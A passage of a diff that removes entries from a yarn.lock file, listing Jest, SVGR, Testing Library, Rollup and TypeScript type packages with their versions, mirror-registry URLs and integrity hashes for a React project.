-  resolved "https://registry.npm.taobao.org/@hapi/topo/download/@hapi/topo-3.1.6.tgz#68d935fa3eae7fdd5ab0d7f953f3205d8b2bfc29"
-  integrity sha1-aNk1+j6uf91asNf5U/MgXYsr/Ck=
-  dependencies:
-    "@hapi/hoek" "^8.3.0"
-
-"@istanbuljs/load-nyc-config@^1.0.0":
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/@istanbuljs/load-nyc-config/download/@istanbuljs/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced"
-  integrity sha1-/T2x1Z7PfPEh6AZQu4ZxL5tV7O0=
-  dependencies:
-    camelcase "^5.3.1"
-    find-up "^4.1.0"
-    get-package-type "^0.1.0"
-    js-yaml "^3.13.1"
-    resolve-from "^5.0.0"
-
-"@istanbuljs/schema@^0.1.2":
-  version "0.1.3"
-  resolved "https://registry.npm.taobao.org/@istanbuljs/schema/download/@istanbuljs/schema-0.1.3.tgz#e45e384e4b8ec16bce2fd903af78450f6bf7ec98"
-  integrity sha1-5F44TkuOwWvOL9kDr3hFD2v37Jg=
-
-"@jest/console@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/console/download/@jest/console-26.6.2.tgz?cache=0&sync_timestamp=1622290212292&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Fconsole%2Fdownload%2F%40jest%2Fconsole-26.6.2.tgz#4e04bc464014358b03ab4937805ee36a0aeb98f2"
-  integrity sha1-TgS8RkAUNYsDq0k3gF7jagrrmPI=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    chalk "^4.0.0"
-    jest-message-util "^26.6.2"
-    jest-util "^26.6.2"
-    slash "^3.0.0"
-
-"@jest/core@^26.6.0", "@jest/core@^26.6.3":
-  version "26.6.3"
-  resolved "https://registry.nlark.com/@jest/core/download/@jest/core-26.6.3.tgz?cache=0&sync_timestamp=1622709598023&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Fcore%2Fdownload%2F%40jest%2Fcore-26.6.3.tgz#7639fcb3833d748a4656ada54bde193051e45fad"
-  integrity sha1-djn8s4M9dIpGVq2lS94ZMFHkX60=
-  dependencies:
-    "@jest/console" "^26.6.2"
-    "@jest/reporters" "^26.6.2"
-    "@jest/test-result" "^26.6.2"
-    "@jest/transform" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    ansi-escapes "^4.2.1"
-    chalk "^4.0.0"
-    exit "^0.1.2"
-    graceful-fs "^4.2.4"
-    jest-changed-files "^26.6.2"
-    jest-config "^26.6.3"
-    jest-haste-map "^26.6.2"
-    jest-message-util "^26.6.2"
-    jest-regex-util "^26.0.0"
-    jest-resolve "^26.6.2"
-    jest-resolve-dependencies "^26.6.3"
-    jest-runner "^26.6.3"
-    jest-runtime "^26.6.3"
-    jest-snapshot "^26.6.2"
-    jest-util "^26.6.2"
-    jest-validate "^26.6.2"
-    jest-watcher "^26.6.2"
-    micromatch "^4.0.2"
-    p-each-series "^2.1.0"
-    rimraf "^3.0.0"
-    slash "^3.0.0"
-    strip-ansi "^6.0.0"
-
-"@jest/environment@^26.6.0", "@jest/environment@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/environment/download/@jest/environment-26.6.2.tgz#ba364cc72e221e79cc8f0a99555bf5d7577cf92c"
-  integrity sha1-ujZMxy4iHnnMjwqZVVv111d8+Sw=
-  dependencies:
-    "@jest/fake-timers" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/node" "*"
-    jest-mock "^26.6.2"
-
-"@jest/fake-timers@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/fake-timers/download/@jest/fake-timers-26.6.2.tgz#459c329bcf70cee4af4d7e3f3e67848123535aad"
-  integrity sha1-RZwym89wzuSvTX4/PmeEgSNTWq0=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    "@sinonjs/fake-timers" "^6.0.1"
-    "@types/node" "*"
-    jest-message-util "^26.6.2"
-    jest-mock "^26.6.2"
-    jest-util "^26.6.2"
-
-"@jest/globals@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/globals/download/@jest/globals-26.6.2.tgz#5b613b78a1aa2655ae908eba638cc96a20df720a"
-  integrity sha1-W2E7eKGqJlWukI66Y4zJaiDfcgo=
-  dependencies:
-    "@jest/environment" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    expect "^26.6.2"
-
-"@jest/reporters@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/reporters/download/@jest/reporters-26.6.2.tgz?cache=0&sync_timestamp=1622709021411&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Freporters%2Fdownload%2F%40jest%2Freporters-26.6.2.tgz#1f518b99637a5f18307bd3ecf9275f6882a667f6"
-  integrity sha1-H1GLmWN6Xxgwe9Ps+SdfaIKmZ/Y=
-  dependencies:
-    "@bcoe/v8-coverage" "^0.2.3"
-    "@jest/console" "^26.6.2"
-    "@jest/test-result" "^26.6.2"
-    "@jest/transform" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    chalk "^4.0.0"
-    collect-v8-coverage "^1.0.0"
-    exit "^0.1.2"
-    glob "^7.1.2"
-    graceful-fs "^4.2.4"
-    istanbul-lib-coverage "^3.0.0"
-    istanbul-lib-instrument "^4.0.3"
-    istanbul-lib-report "^3.0.0"
-    istanbul-lib-source-maps "^4.0.0"
-    istanbul-reports "^3.0.2"
-    jest-haste-map "^26.6.2"
-    jest-resolve "^26.6.2"
-    jest-util "^26.6.2"
-    jest-worker "^26.6.2"
-    slash "^3.0.0"
-    source-map "^0.6.0"
-    string-length "^4.0.1"
-    terminal-link "^2.0.0"
-    v8-to-istanbul "^7.0.0"
-  optionalDependencies:
-    node-notifier "^8.0.0"
-
-"@jest/source-map@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/source-map/download/@jest/source-map-26.6.2.tgz#29af5e1e2e324cafccc936f218309f54ab69d535"
-  integrity sha1-Ka9eHi4yTK/MyTbyGDCfVKtp1TU=
-  dependencies:
-    callsites "^3.0.0"
-    graceful-fs "^4.2.4"
-    source-map "^0.6.0"
-
-"@jest/test-result@^26.6.0", "@jest/test-result@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/test-result/download/@jest/test-result-26.6.2.tgz#55da58b62df134576cc95476efa5f7949e3f5f18"
-  integrity sha1-VdpYti3xNFdsyVR276X3lJ4/Xxg=
-  dependencies:
-    "@jest/console" "^26.6.2"
-    "@jest/types" "^26.6.2"
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    collect-v8-coverage "^1.0.0"
-
-"@jest/test-sequencer@^26.6.3":
-  version "26.6.3"
-  resolved "https://registry.nlark.com/@jest/test-sequencer/download/@jest/test-sequencer-26.6.3.tgz?cache=0&sync_timestamp=1622709597158&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftest-sequencer%2Fdownload%2F%40jest%2Ftest-sequencer-26.6.3.tgz#98e8a45100863886d074205e8ffdc5a7eb582b17"
-  integrity sha1-mOikUQCGOIbQdCBej/3Fp+tYKxc=
-  dependencies:
-    "@jest/test-result" "^26.6.2"
-    graceful-fs "^4.2.4"
-    jest-haste-map "^26.6.2"
-    jest-runner "^26.6.3"
-    jest-runtime "^26.6.3"
-
-"@jest/transform@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/transform/download/@jest/transform-26.6.2.tgz?cache=0&sync_timestamp=1622290075207&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftransform%2Fdownload%2F%40jest%2Ftransform-26.6.2.tgz#5ac57c5fa1ad17b2aae83e73e45813894dcf2e4b"
-  integrity sha1-WsV8X6GtF7Kq6D5z5FgTiU3PLks=
-  dependencies:
-    "@babel/core" "^7.1.0"
-    "@jest/types" "^26.6.2"
-    babel-plugin-istanbul "^6.0.0"
-    chalk "^4.0.0"
-    convert-source-map "^1.4.0"
-    fast-json-stable-stringify "^2.0.0"
-    graceful-fs "^4.2.4"
-    jest-haste-map "^26.6.2"
-    jest-regex-util "^26.0.0"
-    jest-util "^26.6.2"
-    micromatch "^4.0.2"
-    pirates "^4.0.1"
-    slash "^3.0.0"
-    source-map "^0.6.1"
-    write-file-atomic "^3.0.0"
-
-"@jest/types@^26.6.0", "@jest/types@^26.6.2":
-  version "26.6.2"
-  resolved "https://registry.nlark.com/@jest/types/download/@jest/types-26.6.2.tgz?cache=0&sync_timestamp=1622290050288&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftypes%2Fdownload%2F%40jest%2Ftypes-26.6.2.tgz#bef5a532030e1d88a2f5a6d933f84e97226ed48e"
-  integrity sha1-vvWlMgMOHYii9abZM/hOlyJu1I4=
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.0"
-    "@types/istanbul-reports" "^3.0.0"
-    "@types/node" "*"
-    "@types/yargs" "^15.0.0"
-    chalk "^4.0.0"
-
-"@nodelib/fs.scandir@2.1.5":
-  version "2.1.5"
-  resolved "https://registry.nlark.com/@nodelib/fs.scandir/download/@nodelib/fs.scandir-2.1.5.tgz?cache=0&sync_timestamp=1622792706054&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.scandir%2Fdownload%2F%40nodelib%2Ffs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
-  integrity sha1-dhnC6yGyVIP20WdUi0z9WnSIw9U=
-  dependencies:
-    "@nodelib/fs.stat" "2.0.5"
-    run-parallel "^1.1.9"
-
-"@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
-  version "2.0.5"
-  resolved "https://registry.nlark.com/@nodelib/fs.stat/download/@nodelib/fs.stat-2.0.5.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.stat%2Fdownload%2F%40nodelib%2Ffs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
-  integrity sha1-W9Jir5Tp0lvR5xsF3u1Eh2oiLos=
-
-"@nodelib/fs.walk@^1.2.3":
-  version "1.2.7"
-  resolved "https://registry.nlark.com/@nodelib/fs.walk/download/@nodelib/fs.walk-1.2.7.tgz?cache=0&sync_timestamp=1622793294488&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.walk%2Fdownload%2F%40nodelib%2Ffs.walk-1.2.7.tgz#94c23db18ee4653e129abd26fb06f870ac9e1ee2"
-  integrity sha1-lMI9sY7kZT4Smr0m+wb4cKyeHuI=
-  dependencies:
-    "@nodelib/fs.scandir" "2.1.5"
-    fastq "^1.6.0"
-
-"@npmcli/move-file@^1.0.1":
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/@npmcli/move-file/download/@npmcli/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674"
-  integrity sha1-GoLD43L3yuklPrZtclQ9a4aFxnQ=
-  dependencies:
-    mkdirp "^1.0.4"
-    rimraf "^3.0.2"
-
-"@pmmmwh/react-refresh-webpack-plugin@0.4.3":
-  version "0.4.3"
-  resolved "https://registry.nlark.com/@pmmmwh/react-refresh-webpack-plugin/download/@pmmmwh/react-refresh-webpack-plugin-0.4.3.tgz#1eec460596d200c0236bf195b078a5d1df89b766"
-  integrity sha1-HuxGBZbSAMAja/GVsHil0d+Jt2Y=
-  dependencies:
-    ansi-html "^0.0.7"
-    error-stack-parser "^2.0.6"
-    html-entities "^1.2.1"
-    native-url "^0.2.6"
-    schema-utils "^2.6.5"
-    source-map "^0.7.3"
-
-"@popperjs/core@^2.8.6":
-  version "2.9.2"
-  resolved "https://registry.yarnpkg.com/@popperjs/core/-/core-2.9.2.tgz#adea7b6953cbb34651766b0548468e743c6a2353"
-  integrity sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q==
-
-"@restart/context@^2.1.4":
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/@restart/context/-/context-2.1.4.tgz#a99d87c299a34c28bd85bb489cb07bfd23149c02"
-  integrity sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==
-
-"@restart/hooks@^0.3.26":
-  version "0.3.27"
-  resolved "https://registry.yarnpkg.com/@restart/hooks/-/hooks-0.3.27.tgz#91f356d66d4699a8cd8b3d008402708b6a9dc505"
-  integrity sha512-s984xV/EapUIfkjlf8wz9weP2O9TNKR96C68FfMEy2bE69+H4cNv3RD4Mf97lW7Htt7PjZrYTjSC8f3SB9VCXw==
-  dependencies:
-    dequal "^2.0.2"
-
-"@rollup/plugin-node-resolve@^7.1.1":
-  version "7.1.3"
-  resolved "https://registry.nlark.com/@rollup/plugin-node-resolve/download/@rollup/plugin-node-resolve-7.1.3.tgz?cache=0&sync_timestamp=1620138121612&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40rollup%2Fplugin-node-resolve%2Fdownload%2F%40rollup%2Fplugin-node-resolve-7.1.3.tgz#80de384edfbd7bfc9101164910f86078151a3eca"
-  integrity sha1-gN44Tt+9e/yRARZJEPhgeBUaPso=
-  dependencies:
-    "@rollup/pluginutils" "^3.0.8"
-    "@types/resolve" "0.0.8"
-    builtin-modules "^3.1.0"
-    is-module "^1.0.0"
-    resolve "^1.14.2"
-
-"@rollup/plugin-replace@^2.3.1":
-  version "2.4.2"
-  resolved "https://registry.npm.taobao.org/@rollup/plugin-replace/download/@rollup/plugin-replace-2.4.2.tgz#a2d539314fbc77c244858faa523012825068510a"
-  integrity sha1-otU5MU+8d8JEhY+qUjASglBoUQo=
-  dependencies:
-    "@rollup/pluginutils" "^3.1.0"
-    magic-string "^0.25.7"
-
-"@rollup/pluginutils@^3.0.8", "@rollup/pluginutils@^3.1.0":
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/@rollup/pluginutils/download/@rollup/pluginutils-3.1.0.tgz#706b4524ee6dc8b103b3c995533e5ad680c02b9b"
-  integrity sha1-cGtFJO5tyLEDs8mVUz5a1oDAK5s=
-  dependencies:
-    "@types/estree" "0.0.39"
-    estree-walker "^1.0.1"
-    picomatch "^2.2.2"
-
-"@sinonjs/commons@^1.7.0":
-  version "1.8.3"
-  resolved "https://registry.npm.taobao.org/@sinonjs/commons/download/@sinonjs/commons-1.8.3.tgz?cache=0&sync_timestamp=1617869033712&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40sinonjs%2Fcommons%2Fdownload%2F%40sinonjs%2Fcommons-1.8.3.tgz#3802ddd21a50a949b6721ddd72da36e67e7f1b2d"
-  integrity sha1-OALd0hpQqUm2ch3dcto25n5/Gy0=
-  dependencies:
-    type-detect "4.0.8"
-
-"@sinonjs/fake-timers@^6.0.1":
-  version "6.0.1"
-  resolved "https://registry.nlark.com/@sinonjs/fake-timers/download/@sinonjs/fake-timers-6.0.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40sinonjs%2Ffake-timers%2Fdownload%2F%40sinonjs%2Ffake-timers-6.0.1.tgz#293674fccb3262ac782c7aadfdeca86b10c75c40"
-  integrity sha1-KTZ0/MsyYqx4LHqt/eyoaxDHXEA=
-  dependencies:
-    "@sinonjs/commons" "^1.7.0"
-
-"@surma/rollup-plugin-off-main-thread@^1.1.1":
-  version "1.4.2"
-  resolved "https://registry.nlark.com/@surma/rollup-plugin-off-main-thread/download/@surma/rollup-plugin-off-main-thread-1.4.2.tgz?cache=0&sync_timestamp=1621529710125&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40surma%2Frollup-plugin-off-main-thread%2Fdownload%2F%40surma%2Frollup-plugin-off-main-thread-1.4.2.tgz#e6786b6af5799f82f7ab3a82e53f6182d2b91a58"
-  integrity sha1-5nhravV5n4L3qzqC5T9hgtK5Glg=
-  dependencies:
-    ejs "^2.6.1"
-    magic-string "^0.25.0"
-
-"@svgr/babel-plugin-add-jsx-attribute@^5.4.0":
-  version "5.4.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-add-jsx-attribute/download/@svgr/babel-plugin-add-jsx-attribute-5.4.0.tgz#81ef61947bb268eb9d50523446f9c638fb355906"
-  integrity sha1-ge9hlHuyaOudUFI0RvnGOPs1WQY=
-
-"@svgr/babel-plugin-remove-jsx-attribute@^5.4.0":
-  version "5.4.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-remove-jsx-attribute/download/@svgr/babel-plugin-remove-jsx-attribute-5.4.0.tgz#6b2c770c95c874654fd5e1d5ef475b78a0a962ef"
-  integrity sha1-ayx3DJXIdGVP1eHV70dbeKCpYu8=
-
-"@svgr/babel-plugin-remove-jsx-empty-expression@^5.0.1":
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-remove-jsx-empty-expression/download/@svgr/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz#25621a8915ed7ad70da6cea3d0a6dbc2ea933efd"
-  integrity sha1-JWIaiRXtetcNps6j0KbbwuqTPv0=
-
-"@svgr/babel-plugin-replace-jsx-attribute-value@^5.0.1":
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-replace-jsx-attribute-value/download/@svgr/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz#0b221fc57f9fcd10e91fe219e2cd0dd03145a897"
-  integrity sha1-CyIfxX+fzRDpH+IZ4s0N0DFFqJc=
-
-"@svgr/babel-plugin-svg-dynamic-title@^5.4.0":
-  version "5.4.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-svg-dynamic-title/download/@svgr/babel-plugin-svg-dynamic-title-5.4.0.tgz#139b546dd0c3186b6e5db4fefc26cb0baea729d7"
-  integrity sha1-E5tUbdDDGGtuXbT+/CbLC66nKdc=
-
-"@svgr/babel-plugin-svg-em-dimensions@^5.4.0":
-  version "5.4.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-svg-em-dimensions/download/@svgr/babel-plugin-svg-em-dimensions-5.4.0.tgz#6543f69526632a133ce5cabab965deeaea2234a0"
-  integrity sha1-ZUP2lSZjKhM85cq6uWXe6uoiNKA=
-
-"@svgr/babel-plugin-transform-react-native-svg@^5.4.0":
-  version "5.4.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-transform-react-native-svg/download/@svgr/babel-plugin-transform-react-native-svg-5.4.0.tgz#00bf9a7a73f1cad3948cdab1f8dfb774750f8c80"
-  integrity sha1-AL+aenPxytOUjNqx+N+3dHUPjIA=
-
-"@svgr/babel-plugin-transform-svg-component@^5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-plugin-transform-svg-component/download/@svgr/babel-plugin-transform-svg-component-5.5.0.tgz#583a5e2a193e214da2f3afeb0b9e8d3250126b4a"
-  integrity sha1-WDpeKhk+IU2i86/rC56NMlASa0o=
-
-"@svgr/babel-preset@^5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/babel-preset/download/@svgr/babel-preset-5.5.0.tgz#8af54f3e0a8add7b1e2b0fcd5a882c55393df327"
-  integrity sha1-ivVPPgqK3XseKw/NWogsVTk98yc=
-  dependencies:
-    "@svgr/babel-plugin-add-jsx-attribute" "^5.4.0"
-    "@svgr/babel-plugin-remove-jsx-attribute" "^5.4.0"
-    "@svgr/babel-plugin-remove-jsx-empty-expression" "^5.0.1"
-    "@svgr/babel-plugin-replace-jsx-attribute-value" "^5.0.1"
-    "@svgr/babel-plugin-svg-dynamic-title" "^5.4.0"
-    "@svgr/babel-plugin-svg-em-dimensions" "^5.4.0"
-    "@svgr/babel-plugin-transform-react-native-svg" "^5.4.0"
-    "@svgr/babel-plugin-transform-svg-component" "^5.5.0"
-
-"@svgr/core@^5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/core/download/@svgr/core-5.5.0.tgz#82e826b8715d71083120fe8f2492ec7d7874a579"
-  integrity sha1-gugmuHFdcQgxIP6PJJLsfXh0pXk=
-  dependencies:
-    "@svgr/plugin-jsx" "^5.5.0"
-    camelcase "^6.2.0"
-    cosmiconfig "^7.0.0"
-
-"@svgr/hast-util-to-babel-ast@^5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/hast-util-to-babel-ast/download/@svgr/hast-util-to-babel-ast-5.5.0.tgz#5ee52a9c2533f73e63f8f22b779f93cd432a5461"
-  integrity sha1-XuUqnCUz9z5j+PIrd5+TzUMqVGE=
-  dependencies:
-    "@babel/types" "^7.12.6"
-
-"@svgr/plugin-jsx@^5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/plugin-jsx/download/@svgr/plugin-jsx-5.5.0.tgz#1aa8cd798a1db7173ac043466d7b52236b369000"
-  integrity sha1-GqjNeYodtxc6wENGbXtSI2s2kAA=
-  dependencies:
-    "@babel/core" "^7.12.3"
-    "@svgr/babel-preset" "^5.5.0"
-    "@svgr/hast-util-to-babel-ast" "^5.5.0"
-    svg-parser "^2.0.2"
-
-"@svgr/plugin-svgo@^5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/plugin-svgo/download/@svgr/plugin-svgo-5.5.0.tgz#02da55d85320549324e201c7b2e53bf431fcc246"
-  integrity sha1-AtpV2FMgVJMk4gHHsuU79DH8wkY=
-  dependencies:
-    cosmiconfig "^7.0.0"
-    deepmerge "^4.2.2"
-    svgo "^1.2.2"
-
-"@svgr/webpack@5.5.0":
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/@svgr/webpack/download/@svgr/webpack-5.5.0.tgz#aae858ee579f5fa8ce6c3166ef56c6a1b381b640"
-  integrity sha1-quhY7lefX6jObDFm71bGobOBtkA=
-  dependencies:
-    "@babel/core" "^7.12.3"
-    "@babel/plugin-transform-react-constant-elements" "^7.12.1"
-    "@babel/preset-env" "^7.12.1"
-    "@babel/preset-react" "^7.12.5"
-    "@svgr/core" "^5.5.0"
-    "@svgr/plugin-jsx" "^5.5.0"
-    "@svgr/plugin-svgo" "^5.5.0"
-    loader-utils "^2.0.0"
-
-"@testing-library/dom@^7.28.1":
-  version "7.31.2"
-  resolved "https://registry.nlark.com/@testing-library/dom/download/@testing-library/dom-7.31.2.tgz?cache=0&sync_timestamp=1622729051034&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Fdom%2Fdownload%2F%40testing-library%2Fdom-7.31.2.tgz#df361db38f5212b88555068ab8119f5d841a8c4a"
-  integrity sha1-3zYds49SEriFVQaKuBGfXYQajEo=
-  dependencies:
-    "@babel/code-frame" "^7.10.4"
-    "@babel/runtime" "^7.12.5"
-    "@types/aria-query" "^4.2.0"
-    aria-query "^4.2.2"
-    chalk "^4.1.0"
-    dom-accessibility-api "^0.5.6"
-    lz-string "^1.4.4"
-    pretty-format "^26.6.2"
-
-"@testing-library/jest-dom@^5.11.4":
-  version "5.13.0"
-  resolved "https://registry.nlark.com/@testing-library/jest-dom/download/@testing-library/jest-dom-5.13.0.tgz#0a365684e2c1159f857f5915be50089fc5657df0"
-  integrity sha1-CjZWhOLBFZ+Ff1kVvlAIn8VlffA=
-  dependencies:
-    "@babel/runtime" "^7.9.2"
-    "@types/testing-library__jest-dom" "^5.9.1"
-    aria-query "^4.2.2"
-    chalk "^3.0.0"
-    css "^3.0.0"
-    css.escape "^1.5.1"
-    lodash "^4.17.15"
-    redent "^3.0.0"
-
-"@testing-library/react@^11.1.0":
-  version "11.2.7"
-  resolved "https://registry.nlark.com/@testing-library/react/download/@testing-library/react-11.2.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Freact%2Fdownload%2F%40testing-library%2Freact-11.2.7.tgz#b29e2e95c6765c815786c0bc1d5aed9cb2bf7818"
-  integrity sha1-sp4ulcZ2XIFXhsC8HVrtnLK/eBg=
-  dependencies:
-    "@babel/runtime" "^7.12.5"
-    "@testing-library/dom" "^7.28.1"
-
-"@testing-library/user-event@^12.1.10":
-  version "12.8.3"
-  resolved "https://registry.nlark.com/@testing-library/user-event/download/@testing-library/user-event-12.8.3.tgz?cache=0&sync_timestamp=1620861071292&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Fuser-event%2Fdownload%2F%40testing-library%2Fuser-event-12.8.3.tgz#1aa3ed4b9f79340a1e1836bc7f57c501e838704a"
-  integrity sha1-GqPtS595NAoeGDa8f1fFAeg4cEo=
-  dependencies:
-    "@babel/runtime" "^7.12.5"
-
-"@tootallnate/once@1":
-  version "1.1.2"
-  resolved "https://registry.nlark.com/@tootallnate/once/download/@tootallnate/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82"
-  integrity sha1-zLkURTYBeaBOf+av94wA/8Hur4I=
-
-"@types/aria-query@^4.2.0":
-  version "4.2.1"
-  resolved "https://registry.nlark.com/@types/aria-query/download/@types/aria-query-4.2.1.tgz#78b5433344e2f92e8b306c06a5622c50c245bf6b"
-  integrity sha1-eLVDM0Ti+S6LMGwGpWIsUMJFv2s=
-
-"@types/babel__core@^7.0.0", "@types/babel__core@^7.1.7":
-  version "7.1.14"
-  resolved "https://registry.nlark.com/@types/babel__core/download/@types/babel__core-7.1.14.tgz#faaeefc4185ec71c389f4501ee5ec84b170cc402"
-  integrity sha1-+q7vxBhexxw4n0UB7l7ISxcMxAI=
-  dependencies:
-    "@babel/parser" "^7.1.0"
-    "@babel/types" "^7.0.0"
-    "@types/babel__generator" "*"
-    "@types/babel__template" "*"
-    "@types/babel__traverse" "*"
-
-"@types/babel__generator@*":
-  version "7.6.2"
-  resolved "https://registry.nlark.com/@types/babel__generator/download/@types/babel__generator-7.6.2.tgz#f3d71178e187858f7c45e30380f8f1b7415a12d8"
-  integrity sha1-89cReOGHhY98ReMDgPjxt0FaEtg=
-  dependencies:
-    "@babel/types" "^7.0.0"
-
-"@types/babel__template@*":
-  version "7.4.0"
-  resolved "https://registry.nlark.com/@types/babel__template/download/@types/babel__template-7.4.0.tgz#0c888dd70b3ee9eebb6e4f200e809da0076262be"
-  integrity sha1-DIiN1ws+6e67bk8gDoCdoAdiYr4=
-  dependencies:
-    "@babel/parser" "^7.1.0"
-    "@babel/types" "^7.0.0"
-
-"@types/babel__traverse@*", "@types/babel__traverse@^7.0.4", "@types/babel__traverse@^7.0.6":
-  version "7.11.1"
-  resolved "https://registry.nlark.com/@types/babel__traverse/download/@types/babel__traverse-7.11.1.tgz?cache=0&sync_timestamp=1621240632831&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fbabel__traverse%2Fdownload%2F%40types%2Fbabel__traverse-7.11.1.tgz#654f6c4f67568e24c23b367e947098c6206fa639"
-  integrity sha1-ZU9sT2dWjiTCOzZ+lHCYxiBvpjk=
-  dependencies:
-    "@babel/types" "^7.3.0"
-
-"@types/eslint@^7.2.6":
-  version "7.2.13"
-  resolved "https://registry.nlark.com/@types/eslint/download/@types/eslint-7.2.13.tgz#e0ca7219ba5ded402062ad6f926d491ebb29dd53"
-  integrity sha1-4MpyGbpd7UAgYq1vkm1JHrsp3VM=
-  dependencies:
-    "@types/estree" "*"
-    "@types/json-schema" "*"
-
-"@types/estree@*":
-  version "0.0.48"
-  resolved "https://registry.nlark.com/@types/estree/download/@types/estree-0.0.48.tgz#18dc8091b285df90db2f25aa7d906cfc394b7f74"
-  integrity sha1-GNyAkbKF35DbLyWqfZBs/DlLf3Q=
-
-"@types/estree@0.0.39":
-  version "0.0.39"
-  resolved "https://registry.nlark.com/@types/estree/download/@types/estree-0.0.39.tgz#e177e699ee1b8c22d23174caaa7422644389509f"
-  integrity sha1-4Xfmme4bjCLSMXTKqnQiZEOJUJ8=
-
-"@types/glob@^7.1.1":
-  version "7.1.3"
-  resolved "https://registry.nlark.com/@types/glob/download/@types/glob-7.1.3.tgz?cache=0&sync_timestamp=1621241222840&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fglob%2Fdownload%2F%40types%2Fglob-7.1.3.tgz#e6ba80f36b7daad2c685acd9266382e68985c183"
-  integrity sha1-5rqA82t9qtLGhazZJmOC5omFwYM=
-  dependencies:
-    "@types/minimatch" "*"
-    "@types/node" "*"
-
-"@types/graceful-fs@^4.1.2":
-  version "4.1.5"
-  resolved "https://registry.nlark.com/@types/graceful-fs/download/@types/graceful-fs-4.1.5.tgz?cache=0&sync_timestamp=1621241272418&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fgraceful-fs%2Fdownload%2F%40types%2Fgraceful-fs-4.1.5.tgz#21ffba0d98da4350db64891f92a9e5db3cdb4e15"
-  integrity sha1-If+6DZjaQ1DbZIkfkqnl2zzbThU=
-  dependencies:
-    "@types/node" "*"
-
-"@types/html-minifier-terser@^5.0.0":
-  version "5.1.1"
-  resolved "https://registry.nlark.com/@types/html-minifier-terser/download/@types/html-minifier-terser-5.1.1.tgz?cache=0&sync_timestamp=1621241343144&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fhtml-minifier-terser%2Fdownload%2F%40types%2Fhtml-minifier-terser-5.1.1.tgz#3c9ee980f1a10d6021ae6632ca3e79ca2ec4fb50"
-  integrity sha1-PJ7pgPGhDWAhrmYyyj55yi7E+1A=
-
-"@types/invariant@^2.2.33":
-  version "2.2.34"
